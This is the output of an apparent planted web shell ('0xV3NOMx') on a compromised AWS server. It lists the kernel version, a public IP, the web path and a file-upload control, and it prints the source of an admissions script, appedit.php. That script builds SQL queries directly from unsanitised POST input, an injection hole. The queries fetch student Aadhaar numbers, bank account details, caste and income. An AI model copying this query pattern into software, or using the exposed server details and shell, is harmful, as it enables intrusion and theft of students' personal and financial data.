0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.22.79.165


Current Path : /var/www/html/gcg/adm/admin/src/
Upload File :
Current File : /var/www/html/gcg/adm/admin/src/appedit.php

<?php

include ("database.php");

$appno = $_POST['appno'];

    $query= "select FNAME, FAPPNO, 
    ifnull(FFATNAME,'') as FFATNAME, 
    ifnull(FMOTNAME,'') as FMOTNAME, ifnull(FRELIGION,'') as FRELIGION, 
    date_format(ifnull(FDOB,''), '%d/%m/%Y') as FDOB, ifnull(FCASTE,'') as FCASTE,
    ifnull(FSUBCASTE,'') as FSUBCASTE, ifnull(FAADHARNO, '') as FAADHARNO, 
    ifnull(FPERMADD1, '') as FPERMADD1, ifnull(FPERMADD2, '') as FPERMADD2, 
    ifnull(FPERMADD3,'') as FPERMADD3, 
    ifnull(FPERDISTRICT,'') as FPERDISTRICT, ifnull(FPERPINCODE,'') as FPERPINCODE, 
    ifnull(FPERSTATE,'') as FPERSTATE, ifnull(FCURRADD1,'') as FCURRADD1, 
    ifnull(FCURRADD2,'') as FCURRADD2, ifnull(FCURRADD3,'') as FCURRADD3, 
    ifnull(FCURDISTRICT,'') as FCURDISTRICT, ifnull(FCURPINCODE,'') as FCURPINCODE, 
    ifnull(FCURSTATE,'') as FCURSTATE, ifnull(FCONTACT_NO,'') as FCONTACT_NO, 
    ifnull(FLANDLINE,'') as FLANDLINE, ifnull(FEMAIL,'') as FEMAIL, 
    ifnull(FBANKACNO,'') as FBANKACNO, ifnull(FBANKBRANCH,'') as FBANKBRANCH, 
    ifnull(FIFSCCODE,'') as FIFSCCODE, ifnull(FFAT_OCC,'') as FFAT_OCC, 
    ifnull(FINCOME,'') as FINCOME, ifnull(FCOMBCODE,'') as FCOMBCODE, ifnull(FPREVCOMB,'') as FPREVCOMB, 
    ifnull(FPREVMAX,'') as FPREVMAX, ifnull(FPREVSEC,'') as FPREVSEC, 
    ifnull(FPREVPERCENT,'') as FPREVPERCENT, ifnull(FPREVREGNO,'') as FPREVREGNO, 
    ifnull(FPREVCOLLEGE,'') as FPREVCOLLEGE,ifnull(FDEGREE,'') as FDEGREE,
    ifnull(FEXAMNO,'') as FEXAMNO,ifnull(FSEX,'') as FSEX,
    ifnull(FHANDICAP,'') as FHANDICAP,ifnull(FNATIONAL,'') as FNATIONAL,
    ifnull(FPASSMTHYEAR,'') as FPASSMTHYEAR
    from studadm where fappno = '{$appno}'";
    // var_dump($query);
    $result = mysqli_query($conn,$query);
    $app['studdet'] = mysqli_fetch_array($result,MYSQLI_ASSOC);
    // var_dump($app['studdet']["FAPPNO"]);
    // var_dump($app['studdet']);

    $query1= "SELECT DISTINCT s.fsubcode,s.fsubname,rg.fsubcode AS oldsubcode
    FROM subject s LEFT JOIN options rg 
    ON s.fdegree = rg.fdegree AND s.fexamno = rg.fexamno 
    AND s.fsubcode = rg.fsubcode
    AND rg.fappno = '{$appno}'
    WHERE 
    s.fdegree = '{$app['studdet']["FDEGREE"]}' 
    AND s.fexamno = '{$app['studdet']["FEXAMNO"]}'
    AND IFNULL(s.fsuspend,'') <> 'T'
    ORDER BY oldsubcode DESC";
    // var_dump($query1);
    $result1 = mysqli_query($conn,$query1);
    $app['studsub'] = mysqli_fetch_all($result1,MYSQLI_ASSOC);    
    // var_dump($result1);

    $query2= "SELECT * FROM subject WHERE fdegree = '{$app['studdet']["FDEGREE"]}' AND fexamno='{$app['studdet']["FEXAMNO"]}' AND fintass ='F'";
    $result2 = mysqli_query($conn,$query2);
    $app['subopt'] = mysqli_fetch_all($result2,MYSQLI_ASSOC);

    $query3= "SELECT ftotsub FROM degree WHERE fdegree = '{$app['studdet']["FDEGREE"]}' AND fexamno = '{$app['studdet']["FEXAMNO"]}'";
    $result3 = mysqli_query($conn,$query3);
    $app['totsub'] = mysqli_fetch_array($result3,MYSQLI_ASSOC);

    $query4= "SELECT FCATEGORY AS int_code,FDESCPN AS val FROM category 
	WHERE IFNULL(FDELETED,'') <> 'T' ORDER BY FCATEGORY ASC";
    $result4 = mysqli_query($conn,$query4);
    $app['category'] = mysqli_fetch_all($result4,MYSQLI_ASSOC);

    $query5= "SELECT * FROM mascomb WHERE fdegree = '{$app['studdet']["FDEGREE"]}' AND fexamno='{$app['studdet']["FEXAMNO"]}' AND IFNULL(fdeleted,'F') <> 'T' 
                GROUP BY fcombcode";
    $result5 = mysqli_query($conn,$query5);
    $app['subcomb'] = mysqli_fetch_all($result5,MYSQLI_ASSOC);

    
    
    // var_dump($app);




    echo json_encode($app);